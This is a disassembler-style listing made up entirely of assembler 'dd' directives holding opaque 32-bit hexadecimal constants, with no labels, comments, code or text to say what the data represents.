dd 469C74ABh, 690E0F24h, 0DD0C9295h, 0DA8227DFh, 829AB201h
dd 0C0FF6B94h, 0C78F85h, 0DBC14E53h, 0D93133B9h, 0BC3B811Dh
dd 0AF439080h, 5E95CCh, 87B882B0h, 0DB4BD173h, 0C64D5800h
dd 145BC390h, 0DE9D00D0h, 6366FBF1h, 9679DA37h, 90049B00h
dd 0EF2F556Eh, 97EFFD75h, 0A6240100h, 1A07D05h, 82547F7Ah
dd 810BD71Fh, 0FEB82E78h, 0B0ECBF46h, 413D0020h, 0AD4B6770h
dd 810012D6h, 501F2F15h, 9504A2h, 9207C265h, 54F5A5Bh
dd 0DF984800h, 0B81D71C6h, 9BA9A015h, 14961E57h, 429900BCh
dd 884A1013h, 0E6A9EE00h, 0CDD8DBA3h, 2E033EE2h, 50134000h
dd 0AF7E9C65h, 4738A800h, 0B4BC9902h, 18337672h, 49FCC156h
dd 0D2002F5Eh, 0C53180FEh, 38FD552Dh, 0BD80FF8Dh, 1ACFF62Eh
dd 0F30EC3A9h, 22BE3A19h, 0E0F7BA8Ah, 9861F8h, 84FB37CBh
dd 0DED09E27h, 0C4E4EA00h, 88DABAFCh, 0EC7B004Fh, 0E0596A69h
dd 254CE813h, 0CAB90090h, 0F9A0789h, 0DB8A1E61h, 5E7C80AEh
dd 671F4BEDh, 7702FC00h, 73683565h, 5C05039Ch, 5213D6E0h
dd 0F8B5B800h, 1A6EB6ABh, 904C0011h, 2DDACE0Dh, 7B072C6Fh
dd 0C8735E19h, 0CA275C80h, 654700FAh, 0BCFE621h, 99002C6Dh
dd 5485FFCBh, 5CF82E71h, 660375F5h, 791C1EA3h, 2C9477E0h
dd 0FF3F4900h, 701B9A6Ch, 913E0184h, 60C41A9h, 24F8C365h
dd 0A33AC56Dh, 15EC801Ah, 7DFB2261h, 0A7DD00DAh, 2C9C779Ah
dd 1601F6FDh, 48907E18h, 0A2FCCBBEh, 0E3E400DAh, 6B749203h
dd 8D01ACD4h, 5471FF61h, 0EADC0212h, 349C0027h, 24BA1545h
dd 0F3004F8Bh, 0E678111Bh, 2E17F5D7h, 80D4ED7Fh, 293DB5DBh
dd 0B800ACA4h, 0CA0CFDF1h, 9095BBh, 98781A5Fh, 221E2D99h
dd 0C1765B1Dh, 0F6AF4AC0h, 5304C3h, 13A27A1Fh, 74847BB8h
dd 3B0D5400h, 12C701ACh, 88BF00EFh, 3A3103D5h, 830089C1h
dd 346AE85Dh, 388DA4h
dd 2EED46E0h, 23ABC892h, 0B4860607h, 808FE71Fh, 0B151660Bh
dd 0EF6902AFh, 0C6500EE2h, 596D4960h, 542A7300h, 4679FF9Ch
dd 0A8D12649h, 0B1D3037Ch, 1990C94Dh, 1F0E4A31h, 0A59A27ECh
dd 18C0FCA5h, 4994C8Eh, 6CC23322h, 0FE8CC071h, 9500FAF4h
dd 15B7EE66h, 0C6D74Ch, 2296D518h, 6EC52744h, 71ACD801h
dd 0F4D167F0h, 7F932882h, 2340FE92h, 27074173h, 3F8C5108h
dd 0C57A63A0h, 48BC58C0h, 54899B07h, 0CCDA07DEh, 0BA0027ACh
dd 39861DFEh, 9FC62Dh, 506AB085h, 0A7B58216h, 348B4A00h
dd 0C35ED97Dh, 54E02E36h, 40201C32h, 9058E440h, 0B301175Bh
dd 0BD4A1A5h, 0C5CCF05Dh, 0E2F8007Dh, 22F13533h, 5E03FBC8h
dd 0A53019D0h, 985D989Dh, 0A4404864h, 293FA900h, 6B7DAED1h
dd 534CC818h, 24CF9A64h, 0EC890Ch, 0B463F145h, 0D54C4FC2h
dd 2E40F76h, 6A7C6026h, 3B75B6E7h, 97976382h, 52E50E1Bh
dd 116C3A26h, 0AA1FBA00h, 0E4414CEBh, 0C292014Dh, 0CD7F7CD8h
dd 0B42C5Fh, 0FFEFBD6Bh, 10BE21h, 16FC63B7h, 0FB49C160h
dd 127193Ch, 0A04228ADh, 66C80441h, 0A5C61CD3h, 0A480BD8Ah
dd 8E2BB650h, 6F7E62BDh, 570BB377h, 758120h, 0D2AA0A92h
dd 7E2307AFh, 999CFBC5h, 37898400h, 6A037743h, 0AFF308DFh
dd 51CEF8EFh, 0FD800E4h, 0E04754D6h, 363F597Ch, 48E59F65h
dd 9580011Eh, 5B58310Ah, 0F3AB0319h, 496AF24Eh, 0B2E669E8h
dd 0BF87BE00h, 0BDE81F59h, 25A3001Ah, 0C63F6DA6h, 800C0CEh
dd 0F543D77Bh, 1A8AF3h, 0B9F85A2Fh, 6FC68125h, 0F4D45600h
dd 622886E3h, 0A07B57h, 1970DF5Ah, 100E55E1h, 0F432D507h
dd 0A051201Eh, 0F2E42103h, 6B7B0059h, 32A106D7h, 0E30EC5A2h
dd 549D4C1h, 8CD0C416h, 0E85B743h, 6389BDDAh, 7097CE60h
dd 4E005855h, 431729E3h, 1C3EC6A9h, 528A3C77h, 782002A2h
dd 0F7C12C95h, 40BC2182h, 60F0450Eh, 883C9628h, 0D0F26C00h
dd 6724E4EBh, 988A007Bh, 0BC7AF192h, 21039C3Bh, 6513DABh
dd 14300336h, 0C50F634Fh, 0BAF05380h, 866D400h, 47D98BBh
dd 9674071Eh, 0CF7B645Dh, 82F578A0h, 723CEB8Dh, 4A17866Eh
dd 0F84096h, 878ACCBCh, 0AF92DE0Ch, 17B60900h, 417ED233h
dd 0D45D00FEh, 0BF076E97h, 0E40BA729h, 79F0B6h, 0BD5782B0h
dd 64B96Bh, 1F220A47h, 8078F820h, 0ED1C5C02h, 0E0BDC299h
dd 0CE33CCh, 0F8E54EDBh, 0CFDDCD17h, 9E005BF0h, 25AB3639h
dd 8B4C4Ah, 0B90E69FBh, 4FDF8C3h, 0AC21820Eh, 5994A046h
dd 125E781h, 1E325423h, 0E08FA635h, 7C00BFFAh, 26F56E55h
dd 0A00A21h, 5A3FC62Bh, 1782DE8Fh, 0D9E530C1h, 8DE4CC1Bh
dd 3125011Fh, 938ACD0Dh, 99C5F0E2h, 8B862B00h, 8F30F01h
dd 0E08E005Dh, 0F01D585Ah, 0E8505EE2h, 920E739Ch, 0F39D5C1Fh
dd 232C2C0Eh, 0D08AF89Bh, 60F169h, 0F695283Dh, 85306E75h
dd 0A5E2A40Ah, 0EC00C94Bh, 899AFF1Eh, 0ADC71EC4h, 0AAEB4996h
dd 72C01800h, 7D4C61FDh, 0E08C0038h, 0DCFC3414h, 2397A96h
dd 7BABF4Dh, 5F76B66Ah, 48563100h, 3FEEEBh, 2E099EB7h
dd 12F646AAh, 0E0C1F200h, 7FED0177h, 452F1E86h, 0BE3240E6h
dd 921FEAFFh, 83117E1Eh, 5CAB1E3Dh, 48FB59C4h, 0C50B588Ah
dd 8481692Bh, 0F0060B10h, 0D928EF58h, 870FAC6Ch, 87707C82h
dd 0F19223D1h, 74BB8093h, 74A1AD49h, 0F69017Ah, 0B8926C31h
dd 0D82ED864h, 0F59858h, 9B363ACAh, 947899h, 61059517h
dd 6A57EB9Dh, 0C0C10212h, 0C4BD8400h, 3CF4999h, 0B851E864h
dd 0AF984389h, 7D617B98h, 465C66F2h, 0DEA180CFh, 728600C1h
dd 0B42ABB0Dh, 92E2DF76h, 0FFEB3Bh, 158C259Bh, 0F9E7CFh
dd 0BA33B005h, 131C68A9h, 0E3F80E00h, 832030D5h, 8D93006Fh
dd 5F69DF8Ch, 0E097DA52h, 3C6DCEh, 0C41D72EDh, 0C9A6F253h
dd 84B36C00h, 651369C8h, 0A4AA5167h, 2D11BF8h, 9295C620h
dd 37C1AF79h, 983D5Ch, 0D97C3512h, 903017B1h, 1D251DF4h
dd 1D329653h, 123380D4h, 4FCB07C8h, 9FA8111Fh, 98009C56h
dd 3A568DB3h, 817200F9h, 2EA21842h, 0A0000FFFh, 3CD80E6Bh
dd 0FD1207Ch, 4DDD8733h, 949D1480h, 0AB389FB7h, 460F0038h
dd 0FFAD5483h, 3587752h, 271B7F8Ch, 0E6A07B5Ah, 250FB06Ch
dd 0E0038F32h, 1F438638h, 7D300F0h, 0A77ED12Ch, 0DE00527Ah
dd 28FF2F12h, 887384h, 3E18A154h, 0EEE80486h, 4EF14604h
dd 78804A08h, 8C055628h, 0D58AD81Dh, 47C63280h, 1FD0F3D3h
dd 405C4DB2h, 0C794C4ABh, 0FA00412Ch, 0B8F85B55h, 3CC220h
dd 0E43731CBh, 7197EFA7h, 4AF4D078h, 0FDA6CA0Dh, 4CF0C82Ah
dd 575B0734h, 97B15E73h, 4EDD9081h, 22F2F29Ch, 9D39800h
dd 0FB945C70h, 0E19703D6h, 5F2B65B5h, 377E580h, 1D7F4800h
dd 967D9554h, 6F7C074Ch, 0B1ED9865h, 0E5B85290h, 0BDE830C0h
dd 80ECDC3Dh, 4FF765CAh, 5FF17BBh, 0FAA64A85h, 314080A1h
dd 6601D71Eh, 0E0CE0A8h, 2DE89BF5h, 8ED200EAh, 967AD662h
dd 0E409A38Dh, 8ECC283Bh, 0EF510023h, 90E5E1h, 0D186E05Dh
dd 194A4449h, 0FB767D0Fh, 0E5D04263h, 7A74E014h, 55403B60h
dd 0F699B980h, 0A9C2A333h, 0F9501A00h, 0B0281332h, 97090CAh
dd 2AF83C42h, 0EF5B2C40h, 790011FEh, 0BBEB5D59h, 3F67383h
dd 2480CFE0h, 0BC88F3CDh, 4F009946h, 0FDE90CB8h, 0E060C13Bh
dd 7AC700FFh, 0FC76A834h, 8D26853Eh, 0A90044BEh, 2D4AD5E5h
dd 7CD4073Ah, 1D4E77A4h, 0D898A084h, 0D7302C59h, 82D6384Bh
dd 53C33B38h, 9E968474h, 3141C064h, 0C40FB746h, 20559480h
dd 70E90138h, 3D8F875h, 63046461h, 6FC8C8D4h, 3500F773h
dd 0CCFEACE2h, 0AE3DC3h, 8C8866B4h, 61A052E8h, 0B0142800h
dd 0FB4396CDh, 5E320059h, 5B9CAEEAh, 0AB16B4D6h, 60808556h
dd 0E437F3Ch, 3282692h, 10C5ECA0h, 1E00ADFBh, 0E4594E42h
dd 2BFAEFh, 0D42F9127h, 92E177D0h, 924D5B2Eh, 9A8EF400h
dd 2B571F5h, 0E2307BAEh, 7DC0146Ch, 4700E359h, 38DA966Fh
dd 7D70834h, 0C07348D3h, 1F237001h, 0B9E8F0A2h, 1BFBC117h
dd 0D9415100h, 78A8F947h, 3CB0B452h, 0DCF5C200h, 0BF8BD35h
dd 9BFF6801h, 6CF33C1Fh, 10002C2Ch, 5EE9C156h, 2700715Ah
dd 0E204C984h, 0FE5B036Fh, 17D8C002h, 0E047FAB9h, 4636A8A0h
dd 0B45D48h, 0CB16E541h, 281C59h, 4FDC0D18h, 249E2F64h
dd 9A945Ch, 1F3F915Dh, 811E7Ah, 0A1F83DE4h, 5E3AC039h
dd 0DCF07050h, 0E6FB5800h, 549F8776h, 0ABB00D7h, 4A33D8BFh
dd 0DB1D672Eh, 0C900DF1Bh, 3C4F7DFEh, 2263005Bh, 6D43CEC3h
dd 0E901F397h, 8CE71979h, 0D24031A0h, 0D2DFDBh, 0E13A14C8h
dd 0A3086CB2h, 70163001h, 0C5115D51h, 9696070h, 63592398h
dd 177B64A0h, 671F2F99h, 0FC407324h, 778DC412h, 0BAD074B8h
dd 11AFFC10h, 26266997h, 0E907A050h, 0C4715509h, 9B305F66h
dd 3AB63B5Ah, 1680A2BBh, 0F081B4A4h, 5C07EA11h, 0F8D3A83Ch
dd 14C7F697h, 10F1ADF7h, 703C72C5h, 92793E00h, 0EAE22E5Ah
dd 80A8674Ch, 2FE8C378h, 0D9860089h, 0EC482CA7h, 10E0748Ah
dd 2407B04Bh, 29DB66C2h, 541A8054h, 0E52ED81h, 8B6113D2h
dd 0A1FDF4E0h, 5A001F60h, 0B51B9866h, 0BB0140h, 0D97B9242h
dd 35F4E39Eh, 1A8738h, 325A33C6h, 65DEEEh, 0A9667C62h
dd 9068B44Ah, 88CF7A17h, 509CFC00h, 0BC3207h, 0B0FE3AD6h
dd 7C90D147h, 0E20734B8h
dd 588FE16Bh, 468A4D20h, 367978h, 0D033BD5Ch, 0CF3446Fh
dd 0C600B676h, 1226882Dh, 90A7849Fh, 963500A8h, 0C1482103h
dd 0E60E5614h, 0E07247B2h, 0B09B275Ah, 84EA00E0h, 7BD53097h
dd 0A5F8F387h, 5673D60Fh, 0E70BE9FCh, 99B37800h, 0F10B0084h
dd 6264312Ch, 2F008795h, 16292869h, 33DD7Ah, 5D7B61E6h
dd 3623026Bh, 82D17200h, 86A88E8Ch, 50710E6Fh, 0D380921Bh
dd 0A2173B04h, 0F2DAC90Eh, 9DA0037Fh, 0F86009ECh, 3080D2B0h
dd 57999FE9h, 0F3DEBD1Ch, 9B33AF00h, 0F03444D3h, 0C87502h
dd 1BFCCFEFh, 0EAB52AFEh, 353BCC00h, 0AB878AC7h, 0BDDA0A75h
dd 9B6119h, 0BADFFF70h, 4672CE03h, 4C7C1677h, 380D1926h
dd 807E7808h, 79F86BA5h, 0E4040EA1h, 0BC4BC312h, 3E0F449Bh
dd 0CC80BE8Fh, 7F729B68h, 52163EB0h, 988093BDh, 18CB8B81h
dd 109563FFh, 1301062Ch, 512A8FDFh, 0F8C85E49h, 42D7CC4h
dd 0DB479B16h, 59458056h, 74591CE0h, 0E3FC02A8h, 0E8B901DAh
dd 7D5FF51h, 0B265AFBh, 0BCA3A212h, 98FA6861h, 0FDA9290Ch
dd 2265C89h, 13BF7B00h, 71379587h, 208F8531h, 0A438CF8Dh
dd 5C1A3400h, 0A0DF7CEh, 88987200h, 2A5D9D5Bh, 521C3E40h
dd 81C35072h, 3C94DFh, 5381D985h, 4D00085Dh, 0BA7A1195h
dd 68D8A3h, 0D6EB66FAh, 9B7298C3h, 5EFFAB00h, 39276C73h
dd 0E01600E7h, 7067FC37h, 0B200DFF3h, 1751E8F2h, 5624D18h
dd 293BE915h, 785C1EBh, 0AF99C05Dh, 80338B25h, 58250F04h
dd 0AB50582Eh, 0BE2A6B00h, 1333CAB2h, 0A1ED030Fh, 0B04B6024h
dd 0E09C0CFBh, 0DAA40082h, 0DB3641E7h, 9900CFC4h, 29DF0447h
dd 4861B077h, 4B007CA8h, 1D46B8B9h, 0AF00BF62h, 331921CBh
dd 0A97BC2h, 0CCC7CF79h, 699FF6E2h, 4B115B03h, 0B0C34C04h
dd 71D894A4h, 0E3D707C2h, 908A01BAh, 50FCAFD0h, 0DE005AE0h
dd 3372B576h, 0ACBE53h, 0E21F1CCBh, 0C39AAFE7h, 5A5C840Fh
dd 49E34021h, 3E01E6h, 0C14DEF18h, 68656AEAh, 6B2DC804h
dd 0C2C32CF3h, 107FB2h, 505AFCB8h, 0E5947F71h, 89875D00h
dd 0D018D74h, 23D200A2h, 3349F575h, 0C090FA59h, 0EBC40A13h
dd 79A77480h, 3FEF0041h, 3E0E1FC1h, 6500C619h, 0E767701Bh
dd 39D1521Eh, 238084FAh, 0BD3D6DB4h, 9A0026D7h, 5F120EC7h
dd 0DA2085h, 2C493A6Ah, 57E6B89Dh, 0C817DBF4h, 69F02DBBh
dd 7A1200E3h, 177DEDF9h, 0A1004EA5h, 0F504761Dh, 0F6C190Eh
dd 0F430FC6Bh, 78620037h, 0B218D7E8h, 0A9762F6h, 3C7700E8h
dd 0A0097A1h, 0F0E87F87h, 0DD4907F9h, 0F0195E7Ah, 0B6AD8933h
dd 785B6E00h, 124B22ACh, 36F304CDh, 0C0255254h, 68733D35h
dd 0D90093E4h, 0F480352Eh, 4D7943h, 7F04C7A1h, 10309ACAh
dd 1592FD00h, 0F74BA7DEh, 0FC5F02A8h, 1F56E617h, 0B9897443h
dd 89402C7Ch, 80608E32h, 0E77DBE8Ah, 306F004Bh, 924DC823h
dd 0F0E5251Fh, 180B7F11h, 80012A61h, 19C22371h, 45751D2Bh
dd 425D9CD5h, 897F4364h, 6700A05Ch, 0E2520EBDh, 70B041h
dd 0DD212756h, 1FA82479h, 0CD542B00h, 0F3F776F1h, 290026Ah
dd 0C9A4C287h, 7E86F440h, 0BAF6F200h, 3626FF33h, 0E5970750h
dd 80FEC541h, 0DD083D83h, 560E4AE8h, 618ACDFAh, 0CF228BA2h
dd 1D013438h, 0BFE165C5h, 0C14D8B7h, 1F1BAA2Ch, 0C3695601h
dd 0A828D3CAh, 4906BB00h, 44F6D1B2h, 34009770h, 811B29A4h
dd 37FE968h, 664F1FE1h, 0D3C8027Eh, 6200DACDh, 0B45D619Ah
dd 0F4A5CF7h, 125149CEh, 75074C80h, 9100595Bh, 0EA391FEEh
dd 536B08h, 8D71FFD5h, 45B03A73h, 2D9AC216h, 5C171800h
dd 8166D4h, 96F561B1h, 9B1EC09Fh, 0ED0DD50Fh, 7D2E387h
dd 1670CFB9h, 6809C6h, 3A60BF40h, 0DF52F18Dh, 376E9A00h
dd 47FF6CB6h, 5D0B001Ah, 0A7E2B2ACh, 550045C1h, 0E65B50BBh
dd 0FA66AD5h, 1493074Ah, 313944C0h, 0B50B4D86h, 32ADB2h
dd 88C66409h, 353300EFh, 0EDF841BFh, 0A226B9C4h, 5025C2Ch
dd 0C82ED385h, 0F44742Ch, 4D3F2847h, 550AAEE0h, 0AF0572ACh
dd 2B26FC01h, 7800E0E3h, 500E241Dh, 8B0EE44Dh, 0A0EAE77Ch
dd 4307FB51h, 0B80B081h, 0F9A03A6Dh, 0C1EBE800h, 624BC9AEh
dd 4EDF9C81h, 0B4BFF864h, 0B51C80B0h, 27EB9841h, 0BED1D31Dh
dd 0CCE293FAh, 2E267100h, 3C17A73h, 0D381996h, 17D82357h
dd 257C62C6h, 0B270201Dh, 4D13DB47h, 379DED90h, 1F4200DAh
dd 0D102C6B4h, 5EF02896h, 0FC41A00h, 64069A12h, 3E97EA5h
dd 0FBE04531h, 21E8F51Eh, 3D00076Eh, 8425B87Eh, 3F150E20h
dd 0AA00DE27h, 4769659Dh, 0D4F73394h, 9005CB86h, 0ABF23C48h
dd 0E77278C0h, 0A7C7012Dh, 3F8C6688h, 0BB3F4CAh, 1C438A3Ch
dd 0C140D12Ah, 3C47808Eh, 13D503FEh, 0D8700F31h, 83823497h
dd 0F0C77FC8h, 9557C07Bh, 0DCC59D07h, 59D927C2h, 86450364h
dd 43A8A5C1h, 8AEE8B30h, 3A4B5200h, 0D51D3436h, 8C733850h
dd 5E9F6880h, 9B0198EEh, 0C0BC0B00h, 0CF0E4BDBh, 492C028Fh
dd 3386BB45h, 0AD170C60h, 96B23900h, 0A974D2A6h, 45B60072h
dd 0B8663FB9h, 1E0E33D3h, 0C10FD911h, 5FCB071Fh, 3E24070h
dd 2856FFBh, 80D77727h, 0B892877Eh, 4163Ch, 0D8EAE454h
dd 7A7C350Fh, 4D740050h, 9576B3DBh, 5200EECAh, 705F5809h
dd 0F04C5A7Ah, 75381F7Dh, 9A9989E3h, 335F18D8h, 75E03460h
dd 7F0A1h, 0B1D26F7Dh, 0AC12D6D0h, 9FC6F90Ch, 0B51806h
dd 0E39DB6DDh, 1ABA020Ch, 8DB42700h, 0F54DA80Bh, 85220745h
dd 0D0A1C3F2h, 2FE8C623h, 26CF844Ch, 0E00094AFh, 0ED8BF13Ch
dd 0A39B1643h, 0B33E0382h, 0AEC0EA2Eh, 5F00C25Ch, 2F122102h
dd 0EA49173Dh, 7BAF82Dh, 0CB066C0Bh, 2207E0CAh, 1300863Bh
dd 345EDA3h, 343EF1h, 0C2392E7Ch, 0F55D659Ch, 5DB3107h
dd 6FD0E56Dh, 30030826h, 8B1192E7h, 9A004706h, 0F967E1B3h
dd 18F7AB7h, 0F6B0CF49h, 3B9D4375h, 77C16845h, 80873CD2h
dd 8EE8F8AFh, 7DD61F0Eh, 1CF19E69h, 92EAC0D3h, 0E0518204h
dd 0ECF8E6EDh, 803D6125h, 1B7CF804h, 0F88550F7h, 0BD8324F5h
dd 39210007h, 37B056F0h, 2EE99D0Eh, 7F7BE0B8h, 0B8DD734Ah
dd 9760055h, 3BFE8D63h, 3301755Ch, 31D979E2h, 2C386F10h
dd 166CCE09h, 3FCF4000h, 0F0046E4h, 0CAE7611Ah, 7A15B44Eh
dd 30FF002Ch, 0D065B7Fh, 0ADEA8A2Fh, 0A97466F8h, 73BD6200h
dd 0F8241448h, 3F0D0350h, 11954907h, 0AFA00383h, 6D7C6FF1h
dd 0F863D9FBh, 0CF003BBBh, 1A2CFC9Bh, 0E7967FBh, 0C2729323h
dd 0B6847860h, 5003F3Eh, 0DB58857Ah, 902871F7h, 0A15400ABh
dd 53C4DEECh, 50907D4Ch, 500BD176h, 40761158h, 1623C578h
dd 805E35C3h, 6550B288h, 0F4729803h, 0E8D97CF5h, 4A0D325Ah
dd 3110D775h, 7034B6D0h, 180030B5h, 81C25F5Eh, 9C3B0C8Ch
dd 0DB4200C8h, 0A186D90Fh, 0E2CAF000h, 0FDEE6E22h, 80C40FB9h
dd 34EC29A6h, 6703B162h, 35611296h, 7A43E70Eh, 0C34A02A5h
dd 6FE85AABh, 2C6E0C40h, 8D056500h, 81E05248h, 1001B5BEh
dd 389E46BAh, 15CC4D08h, 0D83524h, 0B5DD1780h, 0ED9DE1h
dd 0CE620DEAh, 0CC1BA7F8h, 0A2B8540Ah, 7982DCFEh, 48459C0Fh
dd 1E58C44h, 0B63C209h, 304ECBC7h, 9814E402h, 87C0DCh
dd 0F0126702h, 1F44D39Ah, 44054384h, 0C039FFDFh, 0C667A809h
dd 617E4D00h, 35E92417h, 67A91h, 0F7D65FE2h, 0BB7786FFh
dd 0B7ECD216h, 0CB0A7003h
dd 181CB033h, 0ABB203EEh, 7FFC2C64h, 6510B180h, 9D040701h
dd 0E544172Ah, 6B2C0E3Bh, 0AC119802h, 0DCDDF800h, 0E15B00D3h
dd 20173489h, 74019E14h, 0B739C595h, 8EF19C85h, 5F692680h
dd 2B2C7662h, 1F9ABBA0h, 2E3A7A03h, 0F8BFB012h, 1EED11h
dd 749F52DAh, 0EC4FC08Dh, 0F3C0BC91h, 2C56652Dh, 24690561h
dd 5A4E0063h, 5DD9D878h, 71589C00h, 36FB37ACh, 566A1F2Bh
dd 8329002Fh, 60F0C75Eh, 43A60100h, 0A17F4A4Dh, 911C003Dh
dd 0CCD40D39h, 40039BDDh, 0D67C31A9h, 0C75990B3h, 0BE163A46h
dd 346CB800h, 976AF24Bh, 60F81A60h, 877244h, 0F12725A6h
dd 2BC5CC35h, 0A8763930h, 77C613FFh, 2DE9A033h, 0E36C0332h
dd 83AB842Eh, 0C82FDB91h, 7901768Bh, 40E6B2DCh, 0BBD7D3DFh
dd 5422F7B5h, 21E0F596h, 0C0FBA102h, 9D008FE7h, 6B99C5E0h
dd 80E54h, 0DFEC0615h, 6922446Ah, 9E002079h, 0C776AC2Eh
dd 4816C0h, 4F2C718Fh, 0F91B7099h, 0A8383201h, 0BE7DC984h
dd 0E30B186Ch, 6F002630h, 80E6D939h, 94EFDD00h, 2AAFC1CCh
dd 0EE19004Fh, 7A03D35Ch, 730EDE0Bh, 20BBB4B5h, 0F7B78CA4h
dd 0CEC00708h, 0C066D021h, 5750D875h, 41B44700h, 0DA40994Eh
dd 0D7280031h, 0D8957752h, 7E3FF1A4h, 1373A690h, 0BE390Eh
dd 0ACCD0B3Dh, 0EF09004Fh, 0C8E6FB89h, 0A097E46Ch, 7A8EA994h
dd 0F44004Bh, 4CA85193h, 241F26A4h, 528E7389h, 3AE0128h
dd 12E4FD6Ch, 620516A2h, 85BA0020h, 709B611Bh, 0FD71D007h
dd 0C3172974h, 755AE1E0h, 0EAB00048h, 0A758BBD7h, 9E008AB8h
dd 31274D49h, 4C3A8086h, 0EC000A57h, 8ABC5156h, 6A010882h
dd 1A0CB749h, 2EFCBFE5h, 0AFBB26F3h, 2FCA0084h, 15B29EE8h
dd 50DC9400h, 7AB586A6h, 85E300AFh, 7BDFD03Dh, 360573E7h
dd 24229846h, 89D8B0h, 488B04Bh, 53B36F47h, 0CF0079EAh
dd 9C4274B6h, 3A576Dh, 0F3EA6E3Eh, 0FA1FBCF5h, 8FE31100h
dd 71C2943Fh, 18970907h, 0C078ABE9h, 1189211Fh, 8C057013h
dd 0CF83A788h, 5B37E00Ch, 0EF780074h, 43D516DBh, 0D4FD33FDh
dd 0BA50B556h, 3F002EA4h, 9750F423h, 9B4796Ah, 0A7AFC434h
dd 8DF64F80h, 4E07A344h, 52B74D48h, 9B81640h, 2E4000F7h
dd 2205BE28h, 101D4794h, 4880275Bh, 0ED0C09F6h, 85FECEh
dd 7E04A9D3h, 72213AFFh, 1484F5Ch, 0B2A0623Dh, 2CF40E9Eh
dd 16D8B2C6h, 0A0805485h, 0DF4CE354h, 7CDC0745h, 0B841BB35h
dd 40A4B0B3h, 147614FAh, 0B6A5B703h, 0B9A0E4DCh, 884CBD01h
dd 5C8200EAh, 0F60CB404h, 55078E2h, 0D1389EC0h, 928C041h
dd 5700CA5Eh, 0A0B23BCCh, 0A3AB0B96h, 0D8E3F340h, 3E7687B0h
dd 6C007835h, 3BDA829Bh, 82B8CFCBh, 0F7206A01h, 23E721B3h
dd 9DD0A4EDh, 0B88428F9h, 60F70024h, 6C76F5D5h, 3D74181Dh
dd 0C06BA20Bh, 0C85278h, 274CBB67h, 0CE2D4E9Dh, 773A250Eh
dd 0B73DA268h, 3997C026h, 7D4D1F14h, 0E7FAC08Dh, 0D678FB88h
dd 6D5D6903h, 0FFB05F7Eh, 791E7080h, 6A708Eh, 0A1DBB40Ah
dd 3E6B8C52h, 6FC1440Eh, 575CE98h, 0BC808845h, 0CCC4Ch
dd 2B3E4DB3h, 505744FAh, 0B700FC76h, 90D10EF8h, 4F75DDh
dd 69A24034h, 2BFED33Eh, 0BCF15A02h, 0D648F9F2h, 0F39B0030h
dd 43E08A1h, 7BD55202h, 0D6D9FE40h, 8A5A0038h, 503CEEDDh
dd 21A0C600h, 0E441BD95h, 675C0308h, 393B0A3Eh, 98DEADD2h
dd 34636680h, 36842D8h, 322E523Eh, 3C07B505h, 6381B9A9h
dd 0E81FE4Bh, 314009ADh, 0A580511Dh, 244F2E3Ah, 238068A2h
dd 79870A2Fh, 18A10A13h, 0DEA6C3h, 30C4D126h, 42003E55h
dd 4859B0BAh, 0A810BBh, 0B72C32F4h, 0E9FC884Fh, 0D8071607h
dd 71D0D477h, 0E0A8B03Dh, 98C9006Ch, 263A99C0h, 790089D0h
dd 0BD07EB64h, 372CE71h, 0D33C9D9h, 9AB0AA35h, 274C5F82h
dd 0A97400A7h, 0A11F7B5Bh, 78D7000Eh, 85B96D79h, 2200CBBBh
dd 0C682ABC1h, 20FE9Dh, 26FF5DCFh, 506A75CEh, 9270292Eh
dd 0EC141900h, 84CC38h, 0B4051253h, 472755D6h, 87B11500h
dd 5FADA221h, 24E300F9h, 25CAE7C5h, 6D00FFE2h, 0CE15CB37h
dd 0E43A1A05h, 6C4500B5h, 84D9E803h, 390470B2h, 0C5B6E999h
dd 0D80E2083h, 525366h, 1E301A11h, 85A5A845h, 54C74A00h
dd 0D56D061Dh, 4F070020h, 29229116h, 12002CFDh, 0C8F23F43h
dd 4A21DCh, 0F53E39FBh, 0F7485589h, 111FC77Ch, 28402F1Eh
dd 664C9293h, 519D00EEh, 41078563h, 0B10068F6h, 3E1A3DB5h
dd 1802F7Ah, 1E878B27h, 9F7EFB42h, 0C2C0BC60h, 0D06D8C5Eh
dd 6953B2Fh, 2EC50F77h, 0CEE04441h, 0C69A0C69h, 0A0FA6160h
dd 24EF199Dh, 1F834Fh, 2867CD08h, 21005B6Fh, 0C7FDD36Eh
dd 83726Dh, 953A74B2h, 0C9E6443Bh, 2C9FC80Fh, 7B464073h
dd 0F9E1A27h, 0AEA05AF3h, 21C05761h, 3E83D041h, 0E300137Ah
dd 311440Eh, 6CBA70B1h, 17205063h, 8901C175h, 3BCBA0CCh
dd 23D87346h, 53E501A2h, 0D3523348h, 0C7240054h, 3A2F00EFh
dd 1F039A91h, 61006F82h, 588B0526h, 1EB4A5BFh, 0FB0B30F4h
dd 5937BE07h, 0D8C880B7h, 9900AFFEh, 5C5A158Eh, 1542BECh
dd 0EDC1E648h, 9C66EEBFh, 26401390h, 0D05AB250h, 0E6B30787h
dd 90813836h, 8E753227h, 79B8D200h, 1035CF3Dh, 0ED57054Bh
dd 1203872h, 52C60A84h, 3303207Fh, 1F98120Ch, 57B41059h
dd 0CAE00458h, 577C48DBh, 0BF09D900h, 0AE9AADACh, 0B2E6C2h
dd 776CD12Fh, 0A40AC485h, 9E286D6Eh, 5A22AE10h, 878C3F00h
dd 1A78B90Ch, 483C0334h, 0F56CF495h, 5389B2A0h, 22612000h
dd 2A6918D9h, 0DAEE6Ah, 41CCE15Eh, 0CECAF6E0h, 0D3C20E00h
dd 0E2C08545h, 0F7E86Dh, 0C63EAA2Fh, 0AC42F37Bh, 0A09ACC1Eh
dd 46E2C281h, 6771E726h, 49C477C5h, 0EFC74h, 58DDCE48h
dd 0CC149513h, 4CF26A0Dh, 0D740106Ch, 0B0C334E8h, 0FAD918A4h
dd 0D065CCB7h, 8347A700h, 537351AFh, 0AA80009h, 0D224B7EFh
dd 9CA0BCD1h, 0CD0E8C02h, 0E1B0F993h, 80ED5DDDh, 0FF8160EEh
dd 342A00E2h, 60ACB1EEh, 2400613Fh, 0C4F81D1Fh, 337362Ch
dd 2DF447E8h, 2E079E7h, 5F082D4h, 2688F300h, 7F33D50Ah
dd 3AB900C1h, 79E3B0Fh, 15002254h, 70167232h, 7FD8F18Ah
dd 0C8E60063h, 789C2BDh, 1E1D25E1h, 0D3C3796Fh, 0A14134F2h
dd 0FC0AFD1h, 4F4907E3h, 0D9DCA6F4h, 641F8A80h, 1DE22A71h
dd 0A504700h, 3DD67607h, 8FE8C0CDh, 7D6D29B7h, 1B548301h
dd 0A1E4C262h, 5B68F4h, 0EF0935D1h, 0E9BE4BFCh, 0BA334600h
